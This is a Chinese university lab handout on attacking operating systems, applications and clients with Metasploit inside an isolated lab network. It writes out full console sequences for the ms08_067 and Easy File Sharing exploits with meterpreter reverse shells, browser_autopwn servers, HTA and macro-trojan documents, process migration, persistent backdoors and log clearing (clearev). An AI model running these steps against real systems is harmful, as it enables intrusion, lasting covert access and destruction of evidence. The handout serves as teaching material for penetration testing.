使用Metasploit对操作系统、应用程序、客户端的攻击

渗透攻击:

(一)渗透是攻击者常用的一种攻击手段,也是一种综合的高级攻击技术,同时渗透也是安全工作者所研究的一个课题,在他们口中通常被称为”渗透测试(Penetration Test)”。无论是网络渗透(Network Penetration)还是渗透测试(Penetration Test),其实际上所指的都是同一内容,也就是研究如何一步步攻击入侵某个大型网络主机服务器群组。只不过从实施的角度上看,前者是攻击者的恶意行为,而后者则是安全工作者模拟入侵攻击测试,进而寻找最佳安全防护方案的正当手段。

(二)网络渗透攻击与普通攻击的不同,网络渗透攻击与普通网络攻击的不同在于,普通的网络攻击只是单一类型的攻击。例如,在普通的网络攻击事件中,攻击者可能仅仅是利用目标网络的Web服务器漏洞,入侵网站更改网页,或者在网页上挂马。也就是说,这种攻击是随机的,而其目的也是单一而简单的。网络渗透攻击则与此不同,它是一种系统渐进型的综合攻击方式,其攻击目标是明确的,攻击目的往往不那么单一,危害性也非常严重。

(三)例如,攻击者会有针对性地对某个目标网络进行攻击,以获取其内部的商业资料,进行网络破坏等。因此,攻击者实施攻击的步骤是非常系统的,假设其获取了目标网络中网站服务器的权限,则不会仅满足于控制此台服务器,而是会利用此台服务器,继续入侵目标网络,获取整个网络中所有主机的权限。为了实现渗透攻击,攻击者采用的攻击方式绝不仅此于一种简单的Web脚本漏洞攻击。攻击者会综合运用远程溢出、木马攻击、密码破解、嗅探、ARP欺骗等多种攻击方式,逐步控制网络。

(四)总体来说,与普通网络攻击相比,网络渗透攻击具有几个特性:攻击目的的明确性,攻击步骤的逐步与渐进性,攻击手段的多样性和综合性。

实验目的:

(1)掌握Metasploit的启动、常用模块和命令种类。

(2)掌握Metasploit的基本命令。

(3)使用Metasploit对操作系统的攻击。

(4)使用Metasploit对应用程序的攻击。

(5)使用Metasploit对客户端发起攻击。

实验重点:使用Metasploit对操作系统、应用程序、客户端的攻击。

实验难点:使用Metasploit对客户端发起攻击。

实验内容:

Metasploit的基础

1Metasploit启动的三种方法:

(1)菜单

(2)工具栏

(3)命令行

2Metasploit的常用模块:

(1)exploit(漏洞渗透模块)

(2)payload(攻击载荷模块)

(3)auxiliary(辅助模块)

(4)post(后渗透攻击模块)

3、帮助help?

 

4、命令几个种类:

(1)核心命令core command

(2)模块命令module command

(3)任务命令job command

(4)资源命令resource script command

(5)数据库后台命令database backed command

(6)登录凭证后台命令credentials backed command

 Metasploit的基本命令

最常用的几个命令:

(1)show 显示

(2)search 搜索

(3)use 使用(某模块)

使用Metasploit对操作系统的攻击

实验环境:

Kali2主机:192.168.169.131

靶机(Windows XP,需要英文版):192.168.169.132

1、使用nmap的检测脚本vuln确定目标系统是否存在ms08_067漏洞:

nmap-sV --script vuln --script-args unsafe 192.168.169.132

注:--script 表示使用某类脚本进行扫描;

    --script-args 表示为脚本提供默认参数。

2、渗透过程

(1)启动metasploit

msfconsole

(2)使用渗透程序

search  ms08_067

use  exploit/windows/smb/ms08_067_netapi

show  options

set  RHOST 192.168.169.132

(3)设置控制端

set  payload windows/meterpreter/reverse_tcp

set  LHOST 192.168.169.131

set  LPORT 8888

(4)发动攻击(成功建立会话!)

exploit

 使用Metasploit对应用程序的攻击

实验环境:

Kali2主机:192.168.169.131

靶机(Windows 7,安装了Easy File Sharing HTTPServer):192.168.169.130

渗透过程:

(1)启动metasploit

msfconsole

(2)启动渗透程序

search  EasyFileSharing

use  exploit/windows/http/easyfilesharing_seh

show  options

set  RHOST 192.168.169.130

set  RPORT 80

(3)设置控制端

set  payload windows/meterpreter/reverse_tcp

set  LHOST 192.168.169.131

set  LPORT 4444

(4)发动攻击

exploit

使用Metasploit对客户端发起攻击

前面介绍的两种攻击都是主动攻击方式,除此以外,metasploit中还提供了大量的被动攻击方式。被动攻击方式需要得到受害者的配合才能成功,但是在日常生活中,这种攻击方式的成功率往往比主动攻击要高。

被动攻击的思路:渗透者构造一个攻击用的Web服务器,然后将这个Web服务器的网址发给目标用户,当目标用户使用有漏洞的浏览器打开这个网址时,攻击用的Web服务器就会向浏览器发送各种攻击脚本,如果其中某个攻击脚本攻击成功的话,就会在目标主机上建立一个meterpreter会话。

实验环境:

Kali2主机:192.168.169.131

靶机1(Windows 7,先还原到快照!测试没有成功!):192.168.169.130

靶机2(Windows XP,先还原到快照!测试中。。):192.168.169.132

渗透过程:

(1)启动metasploit

msfconsole

(2)利用辅助模块建立攻击用的Web服务器

(建议改用“auxiliary/server/browser_autopwn2”模块。使用模块1没有成功!)

search  browser_autopwn

use  auxiliary/server/browser_autopwn

show  options

set  LHOST 192.168.169.131

set  SRVPORT 80

set  URIPATH auto

(注:LHOST是本机IP,SRVPORT是Web服务器端口,URIPATH是服务器的目录)

如果使用模块2建立攻击Web服务器,则如下:

use  auxiliary/server/browser_autopwn2

show  options

set  SRVHOST 192.168.169.131

set  SRVPORT 8080

set  URIPATH auto

(3)启动该Web服务器

exploit

……(启动时间比较久…)

(4)等所有模块成功启动后,将Web的链接发送给目标主机

(在Win7或XP上使用IE浏览器访问Web服务器)

http://192.168.169.131:80/

……

(5)出现渗透成功的多个会话。如果渗透过程结束,“回车键”返回metasploit提示状态;如果渗透过程未结束,“Ctrl+C”组合键结束。“back”命令返回到metasploit控制的上级目录。

①显示所有会话:sessions  -i

②切换到某个会话(如会话id为1):sessions 1

(6)将meterpreter附加到其他进程上。 

①列出目标主机上所有进程:ps

②找到某个合适的进程id(如explorer.exe的pid=1596),将meterpreter迁移到该进程:(附加到其他进程成功!!!)

migrate  1596

③可以用getpid和getuid查看当前使用的进程和用户名。

(7)在目标主机上安装一个永久性的后门文件

run  persistence

(8)删除目标主机中的日志记录

clearev

 

实验讨论:

1、Metasploit包括哪几个种类常用的模块?

2、漏洞渗透模块、攻击载荷模块的作用分别是什么?

3、Metasploit中漏洞渗透模块威胁等级分为哪几级?我们选择漏洞渗透模块时,尽量选择哪些级别的?

4、browser_autoploit模块的作用是什么?它如何实现对目标的渗透?

Metasploit的基础

1、Metasploit启动的三种方法:

(1)菜单

(2)工具栏

(3)命令行

2、Metasploit的常用模块:

(1)exploit(漏洞渗透模块)

(2)payload(攻击载荷模块)

(3)auxiliary(辅助模块)

(4)post(后渗透攻击模块)

3、帮助help和?

4、命令几个种类:

(1)核心命令core command

(2)模块命令module command

(3)任务命令job command

(4)资源命令resource scriptcommand

(5)数据库后台命令database backedcommand

(6)登录凭证后台命令credentialsbacked command

 Metasploit的基本命令

最常用的几个命令:

(1)show 显示

(2)search 搜索

(3)use 使用(某模块)

 使用Metasploit对操作系统发起攻击

实验环境:填写如下IP地址

Kali 2主机IP:                    

靶机(64位windows 7,永恒之蓝靶机)IP:                       

1、使用metasploit的smb_ms17_010检测脚本,确定目标系统是否存在ms17_010漏洞。

(1)启动metasploit

(2)加载smb_ms17_010检测脚本

(3)对目标主机进行扫描  

 (输入命令或操作过程、结果截图并进行必要说明)

2、查找针对MS17_010漏洞的渗透模块

(输入命令或操作过程、结果截图并进行必要说明)

3、载入ms17_010_eternalblue渗透模块,查看需要设置的参数并进行设置,启动模块。

(输入命令或操作过程、结果截图并进行必要说明)

4、启动模块

(输入命令或操作过程、结果截图并进行必要说明)

5、控制目标主机

(输入命令或操作过程、结果截图并进行必要说明)

       

使用Metasploit对软件发起攻击

实验环境:填写如下IP地址

Kali 2主机:                       

靶机(32位Windows 7,安装了Easy File SharingHTTP Server)IP:                   

1、查找与EasyFileSharing有关的渗透模块

(1)启动Metarsploit

        (2)查找与EasyFileSharing有关的渗透模块

(输入命令或操作过程、结果截图并进行必要说明)

2、载入easyfilesharing_seh渗透模块,查看需要设置的参数并进行设置,启动模块。

(输入命令或操作过程、结果截图并进行必要说明)

3、在目标靶机启动Easy File Sharing.

(输入命令或操作过程、结果截图并进行必要说明)

4、到kali中查看,会话成功建立了!

(输入命令或操作过程、结果截图并进行必要说明)

使用Metasploit对客户端发起攻击

前面介绍的两种攻击都是主动攻击方式,除此以外,metasploit中还提供了大量的被动攻击方式。被动攻击方式需要得到受害者的配合才能成功,但是在日常生活中,这种攻击方式的成功率往往比主动攻击要高。

被动攻击的思路:渗透者构造一个攻击用的Web服务器,然后将这个Web服务器的网址发给目标用户,当目标用户使用有漏洞的浏览器打开这个网址时,攻击用的Web服务器就会向浏览器发送各种攻击脚本,如果其中某个攻击脚本攻击成功的话,就会在目标主机上建立一个meterpreter会话。

使用Metersploit对客户端发起攻击

实验环境:填写如下IP地址

Kali 2主机IP:                      

靶机(32位Windows 7,安装了Adobe FlashPlayer插件):                        

1、查找与Adobe FlashPlayer有关的渗透模块

(1)启动Metarsploit

        (2)查找与Adobe FlashPlayer有关的渗透模块

2、载入exploit/multi/browser/adobe_flash_hacking_team_uaf渗透模块,查看需要设置的参数并进行设置,启动模块。

(1)载入渗透模块:useexploit/multi/browser/adobe_flash_hacking_team_uaf

(2)查看需要设置的参数:show options   

(3)启动模块

(输入命令或操作过程、结果截图并进行必要说明)

3、在目标靶机中访问该网址

4、到kali中查看,会话是否建立?

(输入命令或操作过程、结果截图并进行必要说明)

利用HTA文件进行渗透攻击

实验环境:填写如下IP地址

Kali 2主机IP:                    

靶机(32位Windows 7):                        

1、查找与Adobe FlashPlayer有关的渗透模块

(1)启动Metarsploit

        (2)查找与office_word有关的渗透模块

2、载入exploit/windows/fileformat/office_word_hta渗透模块,查看需要设置的参数并进行设置,启动模块。

(1)载入渗透模块

(2)查看需要设置的参数      

(3)启动模块

注意:(使用msf.doc或者Local IP两种方式都可以渗透目标)

I:msf.doc是生成的包含恶意HTA文件的word文件。

II:Local IP是包含恶意HTA文件的Web服务器地址。(将该网址复制到靶机中访问)

3、渗透目标靶机

有2种方式:

(1)方式1:目标靶机访问包含恶意HTA文件的Web服务器

(输入命令或操作过程、结果截图并进行必要说明)

到kali中查看,会话是否成功建立?

(2)方式2:目标靶机使用有漏洞的Office打开包含恶意HTA文件的word文件msf.doc

I:把msf.doc放到kali的网站主目录下

II:检查apache2是否已经启动,没有则启动。

III:到目标靶机(32位windows 7)下载并打开msf.doc

(输入命令或操作过程、结果截图并进行必要说明)

到kali中查看,会话是否建立?

(结果截图并进行必要说明)

 使用宏病毒进行渗透攻击

实验环境:填写如下IP地址

Kali 2主机IP:                 

靶机(32位Windows 7):                    

构造一个包含宏病毒的Word文件并不复杂,只要编写一个Auto_Open函数,就可以自动引发病毒。

1、(kali主机)使用msfvenom命令生成一个VBA类型的被控端 

 (输入命令或操作过程、结果截图并进行必要说明)

该被控端可以分成2个部分:

第1部分是包括Auto_Open在内的几个函数:

(结果截图并进行必要说明)

第2部分是一些字符形式的攻击载荷:

(结果截图并进行必要说明)

2、(32位Windows 7)制作可以使用的宏文件

(1)在32位Windows 7中创建一个word文档(文件名:VBS.docx),单击“开发工具 / 宏”起宏名为:vbs,“创建”进入编辑部界面,将被控端第1部分(包括Auto_Open在内的几个函数)复制到Normal-NewMacros中,覆盖原来的内容。

(输入命令或操作过程、结果截图并进行必要说明)

(2)单击工具栏的“编辑”图标,返回word操作界面,将被控端第2部分(一些字符形式的攻击载荷)粘贴到文档中。

(输入命令或操作过程、结果截图并进行必要说明)

(3)保存该木马文件

(输入命令或操作过程、结果截图并进行必要说明)

3、(kali主机)启动主控端并进行相关设置

(输入命令或操作过程、结果截图并进行必要说明)

4、将该木马文件发送给目标靶机(我们在靶机中制作,不需要发送),靶机中打开该文件,里面的恶意HTA文件夹就会执行。

(输入命令或操作过程、结果截图并进行必要说明)

查看是否成功建立了会话?

(输入命令或操作过程、结果截图并进行必要说明)

6、将meterpreter附加到其他不会结束的系统进程上

(1)查看靶机上所有进程

(输入命令或操作过程、结果截图并进行必要说明)

(2)选择不会结束的系统进程(如:explorer.exe),将meterpreter迁移到该进程。

(输入命令或操作过程、结果截图并进行必要说明)

7、在目标靶机上安装一个永久性的后门文件

(输入命令或操作过程、结果截图并进行必要说明)

查看后门文件

(结果截图并进行必要说明)

8、清除日志

(输入命令或操作过程、结果截图并进行必要说明)

使用browser_autopwn2模块进行渗透攻击

使用browser_autopwn2模块可以建立一个攻击用的WEB服务器,这个服务器集成了多个浏览器漏洞,可以向浏览器发送各种攻击脚本,只要有一个攻击脚本攻击成功,即可建立会话。

实验环境:填写如下IP地址

Kali 2主机IP:                     

靶机(32位Windows 7):                         

1、查找与autopwn有关的渗透模块

(1)启动Metarsploit:msfconsole

        (2)查找与autopwn有关的渗透模块

(输入命令或操作过程、结果截图并进行必要说明)

2、载入auxiliary/server/browser_autopwn2渗透模块,查看需要设置的参数并进行设置,启动模块。

(1)载入渗透模块

(2)查看需要设置的参数

(输入命令或操作过程、结果截图并进行必要说明)

     

(3)启动模块

所有服务启动成功,即可到目标靶机中访问该网址。

(输入命令或操作过程、结果截图并进行必要说明)

3、在目标靶机中访问该网址

(输入命令或操作过程、结果截图并进行必要说明)

4、到kali中查看,会话是否成功建立?

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值